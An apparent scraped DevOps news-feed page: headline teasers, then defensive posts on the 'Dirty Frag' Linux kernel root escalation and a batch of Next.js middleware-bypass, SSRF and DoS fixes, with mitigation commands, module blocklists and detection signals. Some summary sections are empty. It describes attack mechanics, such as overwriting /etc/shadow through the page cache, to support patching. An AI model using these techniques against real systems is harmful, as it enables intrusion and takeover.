Developers love Claude Code because it feels like pairing with a senior engineer right in the terminal or IDE: it helps you understand unfamiliar code, propose fixes, and scaffold new features quickly

📅 May 6, 2026 • 📰 GitLab Blog

🔗 Read more

🏗️ IaC

📄 AWS Service Catalog is now available in the AWS Asia Pacific (New Zealand) and Canada West (Calgary) regions

AWS Service Catalog is now available to customers in two additional AWS Regions: Asia Pacific (New Zealand) and Canada West (Calgary). AWS Service Catalog enables customers to create, govern, and dist

📅 May 8, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 The Dark Factory Pattern for Infrastructure: Running Pulumi Lights-Out

The original dark factory was Fanuc’s robotics plant in Oshino, Japan, where the lights are off because nobody is on the floor. Robots build robots. Parts move through the line for weeks at a time wit

📅 May 5, 2026 • 📰 Pulumi Blog

🔗 Read more

📊 Observability

📄 How Open Source Dependency and Repo Attacks Compromise DevOps Pipelines and How to Stay Safe

Modern applications rely on open source components for up to 90% of their code, creating a vast attack surface dominated by inhemalicious supply chain injections. High-profile incidents like Log4j and

📅 May 11, 2026 • 📰 DevOps.com

🔗 Read more

📄 LLM Observability: Tutorial & Best Practices

LLM observability analyzes how models behave across development, testing, and production.

📅 May 11, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Why Prometheus couldn’t see Cilium metrics at 2 a.m.

I still remember the first time we lost sleep over something that wasn’t a bug. It was a Tuesday. Grafana The post Why Prometheus couldn’t see Cilium metrics at 2 a.m. appeared first on The New Stack.

📅 May 10, 2026 • 📰 The New Stack

🔗 Read more

📄 Amazon Connect adds default Step-by-Step Guides for After Contact Work

Amazon Connect now supports Default Guides for After Contact Work (ACW), enabling contact center administrators to automatically launch a Step-by-Step Guide when an agent enters the ACW state without

📅 May 8, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Building an end-to-end agentic SRE using AWS DevOps Agent

Introduction As modern applications evolve into complex ecosystems of serverless functions, microservices, and event-driven architectures, incident response becomes increasingly challenging. DevOps an

📅 May 8, 2026 • 📰 AWS DevOps Blog

🔗 Read more

📄 Monitor Unreal Engine Game Performance with Application Metrics

The Unreal SDK now auto-instruments FPS, frame time, network health, and game stats, giving your team real player performance data in production.

📅 May 8, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Eliminate noisy log lines with Adaptive Logs drop rules

Most platform and observability teams have logs they know are noise. These could be throwaway health check logs, forgotten DEBUG logs, or verbose INFO logs from little used services that only serve to

📅 May 7, 2026 • 📰 Grafana Blog

🔗 Read more

📄 Guide to End-to-End Unified Infrastructure Monitoring (2026)

Explore how unified infrastructure monitoring consolidates telemetry for faster, clearer insights—reducing incident response time and improving system reliability.

📅 May 7, 2026 • 📰 New Relic Blog

🔗 Read more

📄 5 Best Distributed Tracing Tools to Debug Microservices Faster

Discover how distributed tracing tools improve microservices observability, helping you debug, optimize, and maintain complex systems efficiently.

📅 May 7, 2026 • 📰 New Relic Blog

🔗 Read more

📄 5 Top Observability Tools For Unified Visibility & Faster Resolution

Learn how to choose and implement observability tools that reduce MTTR and improve engineering flow with a unified, data-driven approach.

📅 May 7, 2026 • 📰 New Relic Blog

🔗 Read more

📄 5 Top Database Monitoring Tools for Reducing MTTR & Preventing Outages

Discover how the right database monitoring tools deliver intelligent insights, reduce noise, and help you prevent outages before they impact your business.

📅 May 7, 2026 • 📰 New Relic Blog

🔗 Read more

📄 Fixing JavaScript observability, one library at a time

Sentry is adding TracingChannel support to 44 JavaScript libraries upstream, replacing fragile monkey-patching with native observability that works across all runtimes.

📅 May 7, 2026 • 📰 Sentry Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 May 11, 2026 • 📰 Linode Blog

🔗 Read more

📄 Anthropic puts the “myth” in Mythos with its HackerOne bug bounty program

Bug bounty programs have been a cornerstone of cybersecurity for years, serving as conduits for hackers and security researchers to The post Anthropic puts the “myth” in Mythos with its HackerOne bug

📅 May 10, 2026 • 📰 The New Stack

🔗 Read more

📄 Amazon Route 53 Global Resolver now lets you add and remove AWS Regions for anycast DNS resolution

Amazon Route 53 Global Resolver now lets you add and remove AWS Regions for anycast DNS resolution, giving you flexible control over where your DNS queries are resolved. This allows you to easily expa

📅 May 8, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Dirty Frag Linux kernel local privilege escalation vulnerability mitigations

Two local privilege escalation (LPE) vulnerabilities affecting the Linux kernel have been publicly disclosed on May 7, 2026. The vulnerabilities have been assigned the IDs CVE-2026-43284 and CVE-2026-

📅 May 8, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Addressing Copy.Fail2 aka DirtyFrag in SUSE Virtualization

Security researchers have identified another security issue similar to copy.fail (CVE-2026-43284 / CVE-2026-43500), however in a different subsystem. Upstream report: https://github.com/V4bel/dirtyfra

📅 May 8, 2026 • 📰 SUSE Blog

🔗 Read more

📄 How Cloudflare responded to the “Copy Fail” Linux vulnerability

When a critical Linux kernel privilege escalation was publicly disclosed, Cloudflare's security and engineering teams detected, investigated, and mitigated the threat across our global fleet, confirmi

📅 May 7, 2026 • 📰 Cloudflare Blog

🔗 Read more

💾 Databases

📄 What’s new in two: April 2026 edition

Welcome to “What’s new in two,” your quick hit of Redis releases you might have missed in the past month. If you blinked, you missed it—so here’s the recap. We’re covering the latest developments from

📅 May 8, 2026 • 📰 Redis Blog

🔗 Read more

📄 New Bigtable in-memory tier for sub-millisecond read latency

In the high-stakes world of digital infrastructure, speed isn't just a metric — it’s currency. At Google Cloud Next ‘26 we announced the Bigtable in-memory tier, a breakthrough for our fully managed c

📅 May 7, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Discover Meko: The Data Infrastructure for Agents That Work and Learn Together

Meko is the agent-native data infrastructure that enables multi-agent systems to learn together, building collective memory and shared knowledge that compounds across the entire system. Meko solves th

📅 May 7, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 Advisory Locking: Avoiding Serializable Isolation and Achieving Efficient Retention Archiving

Discover a use case for PG advisory lock that protects against write skew and provides a solution for efficient deletes that meet retention requirements. This data modeling keeps the write path predic

📅 May 6, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 AI agent vs chatbot: Key differences explained

Agentic AI adoption trends are everywhere right now. Or at least, everyone says they are. But when you peel back the marketing, the line between a chatbot and an AI agent isn't always obvious. Picking

📅 May 6, 2026 • 📰 Redis Blog

🔗 Read more

📄 Use Redis with SQL

Yes, you heard that right. Query Redis with SQL. No LLMs needed. Most data science teams already speak SQL fluently, and for many (including LLMs and agents), it’s still the most intuitive way to expr

📅 May 6, 2026 • 📰 Redis Blog

🔗 Read more

📄 Native Vector Search for the DynamoDB API

Developers building on the DynamoDB API can run vector similarity search without the complexity of bolted-on “Zero ETL”

📅 May 5, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 pg_sorted_heap 0.13.0 released

I am pleased to announce pg_sorted_heap 0.13.0, a PostgreSQL extension for physically sorted heap storage, zone-map pruning, planner-integrated vector search, and a narrow fact-shaped GraphRAG query s

📅 May 5, 2026 • 📰 PostgreSQL News

🔗 Read more

🌐 Platforms

📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley

In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.

📅 May 11, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 May 11, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 May 11, 2026 • 📰 Linode Blog

🔗 Read more

📄 The agentic paradox and the case for hybrid AI

It’s no secret – the tech industry is rapidly adopting agentic software development to convert business processes into fully autonomous, agentic workflows. While the power of these tools is undeniable

📅 May 11, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 AWS Client VPN now supports Ubuntu OS version 26.04 LTS

AWS Client VPN now supports Linux desktop client with Ubuntu versions 26.04 LTS. You can now run the AWS supplied VPN client on the latest Ubuntu OS versions. AWS Client VPN desktop clients are availa

📅 May 8, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Your guide to Red Hat OpenShift Service on AWS (ROSA) at Red Hat Summit 2026

We're excited to share what's coming for Red Hat OpenShift Service on AWS (ROSA) at Red Hat Summit 2026. Sessions will cover everything from virtual machine (VM) modernization and AI workload scaling

📅 May 8, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Friday Five — May 8, 2026

SiliconANGLE theCUBE- Red Hat 2026 Summit PreviewtheCUBE's Rob Strechay sits down with Ashesh Badani, CPO of Red Hat, to explore how enterprises are turning AI ambition into operational reality. Badan

📅 May 8, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 What is a Context Platform? A New Pattern for AI Agents in Production

The stories sound the same in every engineering review. A team ships a working AI prototype in a week. The demo is impressive. Leadership greenlights production. Six months later, the app is still not

📅 May 7, 2026 • 📰 TiDB Blog

🔗 Read more

📄 Building for the future

This afternoon, we sent the following email to our global team. One of our core values at Cloudflare is transparency, and we believe it's important that you hear this directly from us because it’s a m

📅 May 7, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 Gemini 3.1 Flash-Lite is now generally available on Gemini Enterprise Agent Platform

Today, we’re thrilled to announce that Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model yet, is now generally available. Designed for ultra-low latency, high-volume tas

📅 May 7, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 The MPS 2026.1 Early Access Program Has Started

The MPS 2026.1 Early Access Program (EAP) is kicking off today. Download the first 2026.1 EAP release and give it a try! DOWNLOAD MPS 2026.1 EAP Along with numerous bug fixes, this build introduces se

📅 May 7, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Cross-Region disaster recovery for Amazon EKS using AWS Backup

In this post, we walk you through a complete cross-Region DR implementation for Amazon EKS using AWS Backup. We deploy a stateful retail store application in a source Region, back it up, copy the back

📅 May 6, 2026 • 📰 AWS Containers Blog

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.120

Learn what's new in Visual Studio Code 1.120 (Insiders) Read the full article

📅 May 13, 2026 • 📰 VS Code Blog

🔗 Read more

📄 Lyrie.ai Joins First Batch of Anthropic’s Cyber Verification Program

Dubai, UAE, 11th May 2026, CyberNewswire

📅 May 11, 2026 • 📰 DevOps.com

🔗 Read more

📄 The GoLand 2026.2 Early Access Program Has Started

The Early Access Program (EAP) for GoLand 2026.2 is now open. It’s a great opportunity to try upcoming features for free and help shape the product. EAP builds give you early access to what we’re work

📅 May 11, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Our 2026 Direction: AI and Classic Workflows in JetBrains IDEs

Two valid ways of writing code. One place to own it. Quick version for AI-news-tired readers: press here There are two ways developers create code now: We don’t think one is better than the other. Our

📅 May 11, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Open Source Contribution is About More Than Just Altruism

Passive consumption of open source software creates hidden costs, including $670,000 annually in internal workarounds; however, organizations that shift to upstream contribution report up to 5x return

📅 May 11, 2026 • 📰 DevOps.com

🔗 Read more

📄 Code Maintainability: What is it and Why It’s Important

Writing code that’s clean, readable, and easy to modify without causing unintended side effects is vital to ensuring a seamless development process. Good code encourages a smoother long-term software

📅 May 11, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 GitHub’s Spec Kit Puts the Spec Back in Software Development

GitHub’s open-source Spec Kit aims to eliminate "vibe coding" by prioritizing durable specifications over vague prompts, providing a structured, agent-agnostic workflow for Copilot, Claude, and Gemini

📅 May 11, 2026 • 📰 DevOps.com

🔗 Read more

📄 Turning complexity into confidence with Red Hat Technical Supportability Review with AI

Reactive support models can be a liability when a single misconfiguration can stall a global rollout or an essential production upgrade. To address this, Red Hat Support has introduced Red Hat Technic

📅 May 11, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Red Hat and Netris bring multi-tenant networking to sovereign AI clouds and neoclouds

As AI compute and storage have evolved to become abstracted, multi-tenant, and automated, AI infrastructure now demands accelerated networking that delivers the same levels of automation, orchestratio

📅 May 11, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Why 157,000 developers are hedging against Anthropic with OpenCode

Anthropic spent its biggest developer day of the year showing what a managed coding harness looks like at full scale. The post Why 157,000 developers are hedging against Anthropic with OpenCode appear

📅 May 10, 2026 • 📰 The New Stack

🔗 Read more

📄 Claude can now follow users across Outlook, Word, Excel, and PowerPoint

Anthropic is expanding Claude’s reach across Microsoft 365, adding Outlook support while bringing Word, Excel, and PowerPoint integrations into general The post Claude can now follow users across Outl

📅 May 10, 2026 • 📰 The New Stack

🔗 Read more

📄 The Silicon Ceiling: Why the Hardware Crisis is the Ultimate Wake-Up Call

At a glance Hardware scarcity, driven by skyrocketing memory prices and historically low data center vacancies, means you can no longer simply buy more hardware to scale performance. Optimizing the pe

📅 May 8, 2026 • 📰 SUSE Blog

🔗 Read more

Reported to Linux maintainers on April 30, 2026. An unrelated third party published the ESP exploit on May 7, 2026, breaking the embargo and forcing immediate full disclosure. The ESP fix landed in the upstream netdev tree the same day. The RxRPC fix is still pending as of the date of this post. That means many distributions are still in the gap between "the world knows about this" and "we have a vendor kernel that fixes it."

Here is what the bugs are, who is exposed, the temporary mitigations that work, and the order to apply them in.

TLDR

Why This One Matters

A local privilege escalation is the part of an exploit chain that turns "the attacker has a foothold" into "the attacker owns the box." On a single-user laptop the impact is mostly theoretical because the attacker who can run code as you can usually wait you out. On the systems that pay your salary, the threat model is the opposite. Anywhere a Linux kernel is shared between accounts, the LPE is the actual prize:

• CI runners. GitHub Actions self-hosted runners, GitLab runners, Jenkins agents. The job already runs as a low-privileged user. Dirty Frag promotes that to root on the runner host, which often has SSH keys, registry credentials, and access to the next-tier secret store.
• Multi-tenant Kubernetes. Pods on the same node share a kernel. A container breakout that lands you in any pod with a shell becomes a node compromise. The kubelet credentials are right there.
• Bastion / jump hosts. Most security models depend on these being trusted. An LPE on the bastion turns one compromised developer account into the entire fleet.
• Shared developer servers. Whatever your "dev box" is. Same logic.

The PoC requires nothing exotic. A user with shell access runs the binary, the chain triggers, the prompt comes back as root. Nine years of algif_aead plumbing made this much harder to spot before; now it is one git clone away from a working exploit.

What Each Bug Actually Does

Both halves of Dirty Frag are page-cache write primitives, which is what makes the "Dirty" name fit. The kernel uses the page cache to back files mmapped by user space, so a primitive that lets an unprivileged process modify pages it does not own is effectively a primitive to overwrite the contents of files the process cannot write. That is how Dirty Pipe overwrote /etc/passwd, and that is how Dirty Frag does it too.

CVE-2026-43284: xfrm-ESP page-cache write

The IPsec ESP receive path decrypts incoming packets in place. When the buffer being decrypted is a paged buffer that is not privately owned by the kernel (specifically, pages that arrived via splice(2) or sendfile(2) from a pipe), the decrypted plaintext lands in pages that user space still has a reference to. An unprivileged process can keep that reference, read out the plaintext, and write into pages backing files it would otherwise have no access to.

The bug has been latent in the ESP path since roughly 2017. It was not exploitable as a clean LPE on its own without the right kernel interfaces being reachable from user space, but CAP_NET_ADMIN inside an unprivileged user namespace provides exactly the right reach. That is why the unprivileged-user-namespace mitigation below works.

CVE-2026-43500: RxRPC page-cache write

RxRPC is the kernel implementation of the RxRPC protocol, used by AFS distributed filesystem clients. The same class of bug exists on its receive path: paged buffers that the kernel does not exclusively own end up holding plaintext that user space can read and write. RxRPC has been carrying this bug since approximately 2023, which is much narrower than the ESP timeline but still includes every long-term-support kernel of the last two years.

The chain in the public PoC uses one or both primitives depending on what the target system has loaded. ESP-only is enough on most distributions, which is why the ESP patch alone covers the worst of it.

Why "page-cache write" is so dangerous

If you have not run into this class before, the short version: a page-cache write primitive is not a memory corruption bug in the usual sense. It is a write into the kernel's view of a file's contents. Because the kernel hands those pages back to anyone who reads the file, you can drop a single byte at the right offset of /etc/sudoers, /etc/shadow, or /usr/bin/sudo and the next process that reads the file sees your version. No SMEP / SMAP / KASLR / CFI bypass needed; the primitive sidesteps the part of the kernel those mitigations protect.

Who Is Exposed

Effectively every modern Linux distribution. The vulnerable code is in the upstream kernel and the modules ship by default. Distributions explicitly named in the public advisories:

• Ubuntu 24.04.4
• Red Hat Enterprise Linux 8, 9, 10
• AlmaLinux 8, 9, 10
• CentOS Stream 10
• Fedora 44
• openSUSE Tumbleweed
• OpenShift 4

If you are running a long-term-support kernel that built esp4, esp6, or rxrpc and you do not have the vendor errata yet, assume you are vulnerable.

A few cases where exposure is reduced:

• No local users. A managed appliance with no shell account is fine for the LPE alone, since LPE needs a foothold. It is not fine if anything else lets an attacker land.
• Containers without privileged kernel reach. A container that cannot reach the esp4 / esp6 / rxrpc interfaces from user space is harder to exploit. Most production container runtimes already block raw kernel module reach, but CAP_NET_ADMIN is still common in CNI / VPN sidecars.
• Hardened kernels (grsec / Linux-Hardened) without unprivileged user namespaces. Disabling unprivileged user namespaces removes the reach for the ESP primitive on RHEL-class distros.

Cloud provider metal is at risk if you SSH into it. Cloud provider managed services (RDS, Lambda, ECS Fargate, Cloud Run) are not directly exposed because you do not have shell on the kernel; the provider does.

What to Do Today

Order matters. Do the cheap mitigations first, then watch for the vendor kernel, then patch.

1. Inventory what is loaded

# Confirm whether the vulnerable modules are loaded right now.
lsmod | grep -E '^(esp4|esp6|rxrpc)\b'

# And whether they are auto-loadable via modprobe aliases
# (this is what catches the case where the module is not loaded
#  but a user-space syscall would load it on demand).
modprobe --show-depends esp4 esp6 rxrpc 2>&1 | head -20

If lsmod shows them loaded, you are exploitable today. If they are not loaded but modprobe --show-depends finds them, an unprivileged user can still trigger the load through the same syscall paths the PoC uses.

2. Blocklist the modules where you can

This is the strongest mitigation. It also breaks IPsec VPN termination on the host and any AFS client. Use this on machines that are not IPsec VPN endpoints and do not use AFS, which is most CI runners, container hosts, and bastions:

# /etc/modprobe.d/dirty-frag.conf
blacklist esp4
blacklist esp6
blacklist rxrpc

# Force install to /bin/false so a load attempt fails fast.
install esp4  /bin/false
install esp6  /bin/false
install rxrpc /bin/false

Apply it:

# Write the file, then either reboot or unload the modules right now
# if they are currently loaded.
sudo cp dirty-frag.conf /etc/modprobe.d/dirty-frag.conf

# Unload if loaded. The order matters because of dependencies.
sudo rmmod rxrpc 2>/dev/null
sudo rmmod esp6  2>/dev/null
sudo rmmod esp4  2>/dev/null

# Confirm they are gone and will not reload.
lsmod | grep -E '^(esp4|esp6|rxrpc)\b' || echo "modules not loaded"

If you actually use IPsec on the box (Wireguard does not count, this is specifically the kernel xfrm ESP path), you cannot use this mitigation on that machine. Move to step 3.

3. Disable unprivileged user namespaces (RHEL-family)

This blocks the ESP variant on Red Hat-style kernels by removing the path through which CAP_NET_ADMIN becomes reachable to non-root users. It does not cover RxRPC, and it can break rootless containers that depend on user namespaces.

# Runtime, until reboot:
sudo sysctl -w user.max_user_namespaces=0

# Persistent across reboots:
echo "user.max_user_namespaces = 0" | sudo tee /etc/sysctl.d/99-dirty-frag.conf
sudo sysctl --system

Validate that rootless tooling you rely on still works after this. Podman in rootless mode is the most common thing that breaks. If your CI image relies on rootless container builds, this is not the right knob.

4. Tighten local access

LPE chains need a local foothold. Things that make the foothold harder to come by are second-line defense:

• Drop SSH password authentication (PasswordAuthentication no in sshd_config).
• Run SELinux in enforcing mode where it is available.
• Run untrusted workloads as non-root and without CAP_NET_ADMIN. Audit your CI job containers; many network-tools-style images run as root for no good reason.
• On Kubernetes, push pod security to restricted for new workloads. The default baseline profile leaves CAP_NET_ADMIN reachable for some controllers.

5. Patch when the vendor kernel ships

Watch your distribution's security tracker. Once a kernel update is available, apply it and reboot. The order in which fixes ship will roughly be:

1. Mainline + stable LTS kernels (the ESP fix is already in netdev).
2. Distro kernels for current releases (Ubuntu, RHEL, Fedora, AlmaLinux are all likely to ship within days).
3. RxRPC fix once it is upstream and backported.

After patching:

# Confirm the running kernel is the patched build. The exact errata
# string varies by distro - check your distro security advisory for
# the version that includes the fix.
uname -r

# Then drop the modprobe blocklist if you put one in place,
# unless you genuinely have no use for the modules.
sudo rm /etc/modprobe.d/dirty-frag.conf

A Detection Note

There is no clean fingerprint for the exploit yet because the primitive uses normal kernel paths. A few signals that are worth alerting on:

• New userland processes that hold open AF_KEY sockets and splice() between pipes and those sockets.
• Unexpected setuid binaries created in /tmp or /var/tmp.
• Sudden modifications to /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/sudo (you should already be alerting on these as a baseline). File integrity monitoring with auditd or osquery catches the post-exploitation step even when the exploit primitive itself is invisible.
• For Kubernetes: pods that flap in and out of Running after starting a new container that requests CAP_NET_ADMIN.

If you have an EDR product, your vendor likely has a Dirty Frag detection rule shipping in the next push. The Wiz, Tenable, and Red Hat write-ups all describe behavioral signatures.

Wrap-Up

Dirty Frag is not a sky-falling event for a single-user laptop, but it is exactly the bug pattern that ruins a quarter on multi-tenant infrastructure. The work today is short:

1. Audit which of your Linux fleet has esp4 / esp6 / rxrpc loaded.
2. Blocklist those modules everywhere you do not need IPsec and AFS.
3. Disable unprivileged user namespaces on RHEL-family hosts that need IPsec.
4. Watch your distro's tracker and roll the patched kernel as soon as it lands.

The ESP fix is upstream. Vendor kernels are the next 24-72 hours. RxRPC will trail by a few more days. Get the cheap mitigations on every machine before lunchtime and the patch can take its normal cadence.

References

• Wiz: Dirty Frag (CVE-2026-43284) Linux Privilege Escalation
• Red Hat: RHSB-2026-003 Networking subsystem Privilege Escalation
• Tenable FAQ: Dirty Frag (CVE-2026-43284, CVE-2026-43500)
• BleepingComputer: New Linux 'Dirty Frag' zero-day gives root on all major distros
• The Hacker News: Linux Kernel Dirty Frag LPE Exploit
• Help Net Security: Dirty Frag - Unpatched Linux vulnerability delivers root access
• AlmaLinux: Dirty Frag patches released
• Phoronix: Dirty Frag Vulnerability Made Public Early
• heise: "Dirty Frag" Linux flaws grant root access

The official guidance is the kind that gets your attention: "We strongly recommend upgrading as soon as possible." Self-hosted apps are squarely in the line of fire. Vercel-hosted apps get partial cover from platform-level mitigations on a few of the issues, but the framework patch is the only complete fix.

Here is what shipped, who needs to act, and how to roll it out without breaking your weekend.

TLDR

What Shipped

Both releases bundle the same 13 advisories. The difference is the major version line you are on:

• Next.js 15.x users land on 15.5.18. The cumulative fix actually started at 15.5.16, with 15.5.18 picking up the rest.
• Next.js 16.x users land on 16.2.6. Same pattern: a chunk of the fixes are in 16.2.5, the rest are in 16.2.6.

If you stayed on a 15.x release because you have not migrated to 16, you are not stuck. The 15.5 line is still being patched and gets the same coverage. There is no mandatory major upgrade hidden inside this release. You install the highest patch on your current major and you are done with the framework side of the work.

Note the Node version requirements differ between the two lines. Confirm your runtime before you bump:

• Next.js 15.5.18 declares engines.node as ^18.18.0 || ^19.8.0 || >=20.0.0. Same baseline as the rest of the 15.5.x stream.
• Next.js 16.2.6 declares engines.node as >=20.9.0. If you are still on Node 18, you have to either pick up the 15.5.18 fix on the 15.x line or upgrade Node before you can move to 16.2.6.

Verify with node --version and your CI image before pinning.

The High-Severity Advisories

Seven of the 13 are tagged High. They split into three rough groups: middleware/proxy bypass, denial of service, and one server-side request forgery that stands on its own.

Middleware bypasses (four advisories, all 7.5+ CVSS)

This is the headline story. Four separate techniques for getting past Next.js middleware authorization checks shipped in the same release. If your app relies on middleware.ts for auth, RBAC, or any other access control, your authorization model is broken on the affected versions.

The four bypass paths:

1. Segment-prefetch URLs (GHSA-267c-6grr-h53f): Specially crafted .rsc and segment-prefetch URLs resolve to the same protected page but slip past the middleware matcher. CVSS 7.5. Affects 15.2.0 through 15.5.15 and 16.0.0 through 16.2.4.
2. Segment-prefetch incomplete fix follow-up (GHSA-26hh-7cqf-hhc6): A second variant of the same class that the original fix did not cover. Same severity, same affected range.
3. Dynamic route parameter injection (GHSA-492v-c6pp-mqqv, CVE-2026-44574): Crafted query parameters change the dynamic route value the page sees while leaving the URL path untouched. Authorization checks that compare the path pass while the page renders content for a different parameter. CVSS 8.1, the second-worst score in this batch. Affects 15.4.0 through 15.5.15 and 16.0.0 through 16.2.4.
4. Pages Router i18n (GHSA-36qx-fr4f-26g5): Apps using i18n in the Pages Router can be hit through the unprefixed /_next/data/<buildId>/<page>.json route. The middleware matcher does not protect this transport variant. CVSS 7.5.

The pattern across all four is the same: middleware was being matched against the human-facing URL, and Next.js had additional internal transport variants (RSC payloads, prefetch segments, raw data routes, query-injected routes) that resolved to the same page through code paths the matcher did not see. The patches extend the matcher to cover those variants.

This is not a new class of bug for Next.js. The historic CVE-2025-29927 from 2025 was a single middleware bypass. This release ships four. If your authorization story has been "the middleware will catch it," now is the time to revisit.

Server-side request forgery (CVSS 8.6)

GHSA-c4j6-fc7j-m34r is the highest-rated single CVE in the release. A self-hosted Next.js app handling WebSocket upgrades can be tricked into proxying requests to arbitrary internal or external destinations. Cloud metadata endpoints (the AWS IMDS, GCP and Azure equivalents) and internal services on the cluster network are reachable from this primitive. The HTTP path already had safety checks. WebSocket upgrades did not.

Affects 13.4.13 through 15.5.15 and 16.0.0 through 16.2.4. Vercel-hosted apps are not exposed here. Self-hosted is.

The upstream React DoS (CVSS 7.5)

GHSA-8h8q-6873-q5fj is the one Next.js does not own. The bug lives in react-server-dom (React Server Components 19.x) and is tracked upstream as CVE-2026-23870. A crafted POST to a Server Function endpoint forces the deserializer into excessive CPU work. The CWE is "allocation of resources without limits or throttling." A small request, an outsized cost.

Next.js patches the React dependency for you when you upgrade. If you are on a different React Server Components host (Remix, Waku, custom RSC stack), keep an eye on the React project for the equivalent fix on your runtime.

Two more denial-of-service paths

• GHSA-mg66-mrh9-m8jx is a connection-exhaustion DoS in apps using Cache Components. A POST to a server action with a malicious Next-Resume header triggers a request-body handling deadlock that holds the connection open. Pile up enough of these and the server runs out of slots. The fix treats Next-Resume as an internal-only header and strips it from incoming requests.
• GHSA-h64f-5h5j-jqjh is a DoS in the Image Optimization API (moderate severity). The image pipeline can be pushed into expensive work by crafted requests.

The Moderate and Low-Severity Items

The four moderate fixes are smaller in blast radius but worth a look:

• GHSA-ffhc-5mcf-pf4q: Stored XSS in App Router apps using CSP nonces behind shared caches. Malformed nonce values from request headers were reflected into rendered HTML, enabling cache poisoning. CVSS 4.7. Strip CSP-related request headers from untrusted sources at the edge if you cannot patch immediately.
• GHSA-gx5p-jg67-6x7h: XSS in beforeInteractive scripts when fed untrusted input.
• GHSA-h64f-5h5j-jqjh: The image optimization DoS mentioned above.
• GHSA-wfc6-r584-vfw7: Cache poisoning of React Server Component responses.

The two low-severity items are both cache-related: collisions in RSC cache-busting (GHSA-vfv6-92ff-j949) and middleware proxy redirect cache poisoning (GHSA-3g8h-86w9-wvmq).

Low CVSS does not mean ignore. If you run behind a shared CDN or a multi-tenant cache, cache-poisoning bugs let one user's request affect another user's response. Treat them as a coordinated patch with the rest.

Are You Exposed?

A few quick checks before you reach for the patch:

# Confirm your installed version
npx next --version

# Or grep the lockfile if you don't want to run anything
grep '"next"' package.json
cat package-lock.json 2>/dev/null | grep -A1 '"node_modules/next":'

Decision matrix once you know your version:

Affected ranges vary per advisory. The simple call is "upgrade to 15.5.18 or 16.2.6 to cover the full batch." If you need the exact range for a single CVE, click into its GHSA from the release notes.

Vercel-hosted apps get platform-level mitigation for some of the bypass advisories. The framework patch is still the only complete fix and is required to clear the upstream React CVE and the Cache Components DoS.

Rolling Out the Patch

The mechanics are short. Pin the new version, run the install, redeploy. Same major, no schema changes, no breaking config (mind the Node bump for 16.2.6 noted above).

# 15.x line
npm install next@15.5.18
# or
pnpm add next@15.5.18
# or
yarn add next@15.5.18

# 16.x line
npm install next@16.2.6

Production rollout pattern that works for most teams:

# 1) Bump the dependency in a branch
git checkout -b security/nextjs-patch
npm install next@16.2.6

# 2) Run your typecheck and tests
npm run typecheck
npm test

# 3) Build locally to catch any chunk regressions
npm run build

# 4) Deploy to staging first, smoke the auth flows you care about
#    - Sign-in / sign-out
#    - Any protected route reachable from the app shell
#    - Image optimization endpoints if you use them
#    - WebSocket / streaming routes if you self-host

# 5) Roll to production

If you cannot deploy immediately, a few of the advisories ship workarounds:

• Dynamic route parameter injection (GHSA-492v-c6pp-mqqv): Implement authorization checks inside the route handler or page component, not only in middleware. This is good practice anyway.
• Cache Components DoS (GHSA-mg66-mrh9-m8jx): Block requests carrying the Next-Resume header at your edge or proxy.
• CSP nonce XSS (GHSA-ffhc-5mcf-pf4q): Strip inbound CSP-related request headers from untrusted clients.
• WebSocket SSRF (GHSA-c4j6-fc7j-m34r): If you self-host and do not actually use WebSocket upgrades, drop them at the proxy.

These are stopgaps. They are not equivalent to the patch.

Lessons for Your Architecture

A release with four middleware bypasses in one go is a strong hint about how to think about authorization in App Router apps.

Defense in depth, not middleware only. Middleware is fast and convenient. It is also one match function away from being routed around. Production-grade authorization for App Router apps belongs in two places at minimum: the middleware (cheap, early reject) and the route handler or page component (authoritative, runs after the framework has resolved the actual page being served). The dynamic route parameter injection bug is a textbook case where the middleware match was correct on the URL the user sent, but the page logic ran on a different parameter.

Self-hosted means you own the perimeter. The WebSocket SSRF and the Cache Components DoS are sharper for self-hosted deployments. If you are the one running the Next.js process behind nginx or a Kubernetes ingress, you also get to decide which headers and protocols pass through. Strip Next-Resume from inbound requests. Block WebSocket upgrades on routes that do not need them. Keep IMDSv2 enforced on EC2 (or the equivalent on GCP and Azure) so an SSRF cannot pull a session token from the metadata service.

Treat shared caches as untrusted output. Two of the moderate bugs and both lows involve cache poisoning. If you put a CDN or a shared cache in front of Next.js, every header your app reflects into HTML or sets as a cache key is a potential surface. Strip request headers you do not own at the edge. Set explicit Cache-Control and Vary so the cache is not deciding for you.

